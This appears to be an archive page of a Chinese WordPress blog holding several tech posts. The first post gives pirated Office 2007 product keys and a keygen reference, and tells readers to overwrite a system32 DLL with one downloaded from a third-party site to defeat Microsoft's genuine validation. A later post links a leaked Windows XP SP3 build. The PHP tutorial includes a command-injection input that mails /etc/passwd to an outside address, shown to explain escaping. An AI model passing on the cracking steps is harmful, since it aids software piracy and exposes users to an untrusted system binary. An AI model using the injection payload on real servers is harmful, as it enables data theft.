网上流传的让Office2007通过微软的正版验证的方法

1:安装office2007;安装序列号:(下面的序列号任选一组或使用算号器Office 2007 Keygen算一组序列号,Office 2007 Keygen已经以附件上传)
JQRPJ-XKGBT-XCPTF-47QQP-2RCVW
XP2M9-2KFQ2-K92R9-3MR2T-GW8BJ
VBQF2-6K94C-KCT26-R4XQF-C2QQ8
GM26K-7MYV2-338DJ-4DKMG-DTJBJ
QF3F4-BPX6T-969XC-KDFKT-D9HD8

*已经安装Office2007的直接进行以下步骤:

2:打开微软正版验证的网页:
http://www.microsoft.com/genuine/default.aspx?displaylang=zh-cn

3:验证office2007,安装验证控件,验证显示失败!

4:用此OGACheckControl.dll文件替换windows\system32\ 目录下同名文件。
将OGACheckControl.dll文件复制粘贴到windows\system32\ 目录下即可替换

5:再次验证office2007,—-通过微软的正版验证

[color=Red]OGACheckControl.dll下载地址
http://www.lovemx.net/soft/OGACheckControl.dll

Persits.Jpeg.1 错误 '800a0004'

今天发现http://www.i9yao.com突然不能上传图片了,发现上传组件有报错。
解决办法~

Persits.Jpeg.1 错误 '800a0004'
More »

记号:破解wep无线网络

WEP 密码破解教程 BT3 使用 (原创技术化)

本教程,目的是让大家可以了解破解无线网络的方式,从而加强自己的网络安全性。请不要用于非法目的。
另外,在互联网上,有太多的方法知道你是谁,不要以为用别人的AP就没人找得到你哦。
More »

用MySQL创建数据库和数据库表

纯粹是为了自己看着方便~~~
1、使用SHOW语句找出在服务器上当前存在什么数据库:
  
  mysql> SHOW DATABASES;
  +———-+
  | Database |
  +———-+
  | mysql |
  | test |
  +———-+
  3 rows in set (0.00 sec)
  
  2、创建一个数据库abccs
  mysql> Create DATABASE abccs;
  注意不同操作系统对大小写的敏感。
   More »

Windows XP SP3 RTM 英文版BT下载

Windows XP SP3 RTM 英文版已经泄漏。

v5.1.2600.5512 RTM WindowsXP-KB936929-SP3-x86-ENU.exe
Size: 331,805,736 bytes CRC32: C411A9DA
MD5: BB25707C919DD835A9D9706B5725AF58
SHA-1: C81472F7EEEA2ECA421E116CD4C03E2300EBFDE4

http://download.cnbeta.com/ugmbbc/MICROSOFT.WINDOWS.XP.SERVICE.PACK.3.v5.1.2600.5512.RTM.ENGLISH-W.4150301.TPB.rar

在PHP中执行系统外部命令<转>

作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。

那么,是否可以在PHP脚本中调用外部命令呢?答案是肯定的。PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可。相信你看了本文后,肯定能够对你的所帮助。

1.前提条件
由于PHP基本是用于Web程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:
(1)执行外部命令。
(2)在打开文件时有些限制。
(3)连接MySQL数据库。
(4)基于HTTP的认证。
在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上–with-exec-dir选项来指定,默认是 /usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。

2.实现的方法
在PHP中调用外部命令,可以用如下三种方法来实现:
(1) 用PHP提供的专门函数:
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型:string exec (string command [, string array [, int return_var]])
exec ()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
#$res是一个数据,每个元素代表结果的一行
exec("/bin/ls -l", $res, $rc);
#$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0
?>
passthru()
原型:void passthru (string command [, int return_var])
passthru ()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus (Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>

(2) 用popen()函数打开进程:
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen ()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。
例子1:
$fp=popen("/bin/ls -l", "r");
?>
例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):
/* PHP中如何增加一个系统用户
下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s \"%s %s\"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
(3)用反撇号(`,也就是键盘上ESC键下面那个)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
$res=`/bin/ls -l`;
echo '

'.$res.'

';
?>
这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
3.需要考虑的的问题
要考虑两个问题:安全性和超时。
先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:
system("mail $to < products.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:'–bla ; mail someone@domain.com < /etc/passwd ;'

那么这条命令最终变成:
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:
system("/usr/local/bin/order_proc > /tmp/null &”);

新版本的发布和加速的小事情

只有2周就要春节了.越是要休息.越是对工作上的事情关心.
本来是只是看看圣城家园有什么好看的双字幕片子的.可是找了个种子用了昨天发布的内测版快车来下一下.结果连接数2个.速度是几b,到几k,心寒…… 用迅雷下了一下.9楼的网速达到400k.可用资源几十个.
在手上的一台服务器上下了一部.用该文件给快车做了一个p2p&sever.同时放在发布系统上.再用种子在本机测了一下.速度就达到了100多k了. 除了时间的因素,和客户端数量问题.我觉得快车慢慢的会赶上迅雷.只不过对于现在的用户数量而言.我的工作任务会更重.

用于测试的电影叫 国内译名:<欧洲性旅行>,对于名字我很无语.不知道这个译名是谁译出来的.可见国内网民对于什么样的电影感兴趣吧.虽然是部青春性放纵故事片.但是我更认可台湾地区的译名<欧洲任我行>.
附上种子文件.希望大家为快车做个源.电影内容不错的.字幕是中英文对照.

? 点击下载种子

Befunky上弄的2个图片

正如官方所打出来的标语所说,Funky Way Express Yourself,Befunky可以将自己的照片制作成独具特色的艺术风格形式,整个操作非常简单,上传图片,选择效果,点击Apply即可,个人感觉有点遗憾的是在制作过程中官方没有提供预览,这在速度较慢的情况下是非常折磨人的,速度快尚且略过。

Befunky目前尚处于beta期,有些服务还没有完善,比如extras。但是今天已开放注册,感兴趣的朋友可以去看看。

编辑界面很清爽,只有三个按钮,架构于flash框架之上

很好玩的网站,把自已的照片做成漫画形式的.

珊瑚虫案昨日深圳开庭,我们公司竟然给过他100多万的广告费

下载QQ软件并进行非法修改,再安插广告供下载以获取巨额利润。昨日,北京理工大学老师陈寿福涉嫌侵犯著作权罪一案,在深圳市南山区人民法院一审开庭。

由于腾讯QQ一直为中国即时通讯的头把交椅,陈寿福修改之后的珊瑚虫QQ曾在网络上有相当大范围的传播,此案被业界称为“QQ珊瑚虫案”,也是目前国内影响最大的修改软件而产生的侵犯著作权案,备受互联网业界关注。

屡次修改QQ软件牟利
More »

转水木清华帖子:迅雷协议分析笔记_20071118

发信人: RunningOn (挥着翅膀的男孩), 信区: Python
标 题: 迅雷协议分析笔记_20071118
发信站: 水木社区 (Sun Nov 18 22:28:58 2007), 转信

  前几天想出个主意想做个Linux下的迅雷。今天抽了点时间搞了一下下,分析出了迅雷的索引服务器地址与使用的端口,算是完成了第一步吧。发在这里,也算是笔记。如果有人也感兴趣,不妨看看。

  参考文献:

http://student.bnu.edu.cn/bbs/archiver/tid-3086.html

  写得很不错,原文在btbbs.org,不过我打不开这个BBS。但文章是06年12月的,文中的IP地址与端口现在迅雷都已经换了,所以只能作为参考。同理,本文也可能随时过时,所以读者请注意发文时间为2007年11月18日,转载请注明来源水木社区,作者RunningOn。

  迅雷的原理,就是在下载文件时,向服务器询问会有哪些地方还有相同的文件,如果有,有同时在这些地方一起下载,以达到加速的目的。上面提到的服务器,不妨称为索引服务器。迅雷使用的是被称为p2sp的技术。

  索引服务器有三个:58.254.39.4, 58.254.39.6 和 58.254.39.8。当这三个服务器都无法连接时,就不能搜索到其它有相同文件的站点,因此无法加速下载。
  迅雷索引服务器直接使用80端口(根据参考文献,迅雷以前曾用其它端口,80端口以前仅作为备用端口),因为80端口是浏览网页的端口,封它的代价太大,所以要禁迅雷一般不能用封端口的办法,只能封IP。
  当三个索引服务器的IP都被封时,用迅雷下载会依次发生以下现象:
  1.迅雷尝试连接58.254.39.4,会尝试三次,三次的timeout分别(精确)是3, 6, 12秒。
  2.尝试连接58.254.39.6,也是三次,方法同1
  3.尝试连接58.254.39.8,同1
  4.如果以上都失败,则休息120秒,然后返回1。
  在连接索引服务器的同时,如果原始连接(就是在网页上要用迅雷下载的链接)可以下载,就会并行地下载。

  迅雷使用的端口和IP地址众多,有论坛和各种网页(广告)的地址,垃圾信息众多,没有好的网络工具进行过滤。我在分析时利用了python帮助分析。方法是:
  准备九个要下载的文件的地址
  对每个要下载的文件,做以下工作:
  1.打开ethereal,将缓冲设为100M,开始抓包
  2.用迅雷下载文件
  3.不必等2进行完毕,停止抓包,将数据导出为文本文件。
  4.停止下载
  这样得到九个文本文件。用python抓出每个文本文件中出现过的IP,重复的不计,分别存到九个新的文本文件ip1.txt~ip9.txt中
  再用python分析这九个新的文本文件,统计每个IP出现的次数,将出现了多次的IP打印出来,去掉那些肯定不是迅雷服务器的IP(比如自己的IP以及DNS的IP等),得到大约十个”可疑”的IP地址。
  打开防火墙(我用的天网),封掉这些IP地址,发现迅雷不能使用,说明所有的服务器地址都在那十个中。然后再手动排除,最后得到迅雷索引服务器的地址。
  IP的分析只需要简单的正则表达式,数据结构用字典,很容易,代码就不贴了,相信也没人想看代码。

发信人: xxxss (请输入新的昵称), 信区: Python
标 题: Re: 迅雷协议分析笔记_20071118
发信站: 水木社区 (Sun Nov 18 23:02:43 2007), 转信

我建议你先这样:

找几个服务器地址(测试用的),是下载同一个文件的,把他们的地址存成某种形式,
比如文件啦,数据库啦,你会啥用啥。然后
1。用python写个程序去获得这些地址。最开始可以是直接读文件,
之后可以换成C/S模式,服务器存放刚才那个地址列表,客户端去读取。
2。用python写个程序去调用某个牛b下载软件去那个列表上的各个地址分块下载那个文件.当然要是你牛,可以不用调用别人的,自己拿python写个分块下载软件。
3。上面两个都做完了,雏形有了,该作增加地址资源表的功能了,客户端每次增加一个
下载任务,就到服务器的资源列表库里面查找,找到有同样的文件同样的地址,就
把列表读回来,如果库里没有,在下载完成后算文件的校验值,相同的话就把这个地址
也存到库里成为新资源。
4,后面就是完善了。

这样你能早点出点原型和成果,而且少浪费点时间做无用功,
你要做的东西的技术难度主要在分块下载软件这块,至少我觉得是,因为我不知道哪个
现成的分块下载软件比较好用的,你既然要做linux迅雷,那估计下载软件这块你得自己
写,或者拿人的来改。
没有分块下载功能模块,你干别的都是扯淡。。
其次就是和服务器交互这块,这个在初期可以简单点,问题不大。

最后的资源管理,这个没啥技术难度,主要是市场因素。。用的人多资源多,
这也是迅雷唯一和别的下载软件不一样的地方。
初期别把注意力放在这,没蛋用,你把迅雷研究的再透,他的核心价值是那些资源。

Copyright © All Rights Reserved · Green Hope Theme by Sivan & schiy · Powered by Proudly powered by WordPress.